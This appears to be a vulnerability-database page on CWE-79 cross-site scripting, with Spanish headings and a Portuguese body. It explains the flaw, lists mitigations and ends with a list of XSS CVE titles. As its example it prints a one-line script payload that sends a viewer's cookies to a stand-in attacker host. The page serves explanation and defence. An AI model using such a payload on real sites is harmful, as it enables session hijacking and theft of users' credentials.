Fallos del tipo CWE-79

30.536 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-42973MEDIUMCross-Site Scripting (XSS) vulnerability in SAP Data Services (DQ Report)EPSS 0.2%CVE-2025-62482MEDIUMZoom Workplace for Windows - Cross-site ScriptingEPSS 0.2%CVE-2021-47911MEDIUMAffiliate Pro 1.7 Reflected Cross-Site Scripting via Index ModuleEPSS 0.2%CVE-2022-50959MEDIUMWordPress Contact Form Builder 1.6.1 Cross-Site Scripting via code_generator.phpEPSS 0.2%CVE-2026-38569MEDIUMHireFlow v1.2 is vulnerable to Cross Site Scripting (XSS) in candidate_detail.html via the Resume or Feedback Comment fields via POST /candiEPSS 0.2%CVE-2025-67991HIGHWordPress User Extra Fields plugin <= 16.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-67618HIGHWordPress Brookside theme <= 1.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-46518HIGHOpenEMR: Stored XSS in prescription CSS/HTML print view via patient demographicsEPSS 0.2%CVE-2026-91049MEDIUMEWWW Image Optimizer 8.7.4 - 8.9.0 - Author+ Stored XSS via 'data-script' Lazy Load AttributeEPSS 0.2%CVE-2025-68846HIGHWordPress Asynchronous Javascript plugin <= 1.3.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-45106MEDIUMWeblate: Stored HTML injection in editor search previewEPSS 0.2%CVE-2025-10558HIGHStored Cross-site Scripting (XSS) vulnerability affecting 3DSearch in 3DSwymer on Release 3DEXPERIENCE R2025xEPSS 0.2%CVE-2026-7421MEDIUMPasseum Ticketing <= 1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'shop_name' SettingEPSS 0.2%CVE-2026-121928MEDIUMInfiniFlow RAGFlow Images API file_utils.py cross site scriptingEPSS 0.2%CVE-2025-27259LOWEricsson Network Manager: improper neutralization of user controlled inputEPSS 0.2%CVE-2026-103897MEDIUMResponsive Lightbox & Gallery <= 2.7.9 - Authenticated (Editor+) Stored Cross-Site Scripting via Comment Content 'title' AttributeEPSS 0.2%CVE-2025-0876MEDIUMXSS in Isin Basi Advertisement & IT's WorkifEPSS 0.2%CVE-2025-69390HIGHWordPress Business Template Blocks for WPBakery (Visual Composer) Page Builder plugin <= 1.3.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-68031HIGHWordPress افزونه پیامک حرفه ای فراز اس ام اس plugin <= 2.7.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-109988MEDIUMProduct Addons for Woocommerce <= 3.1.8 - Authenticated (Shop Manager+) Stored Cross-Site Scripting via 'type' Field ParameterEPSS 0.2%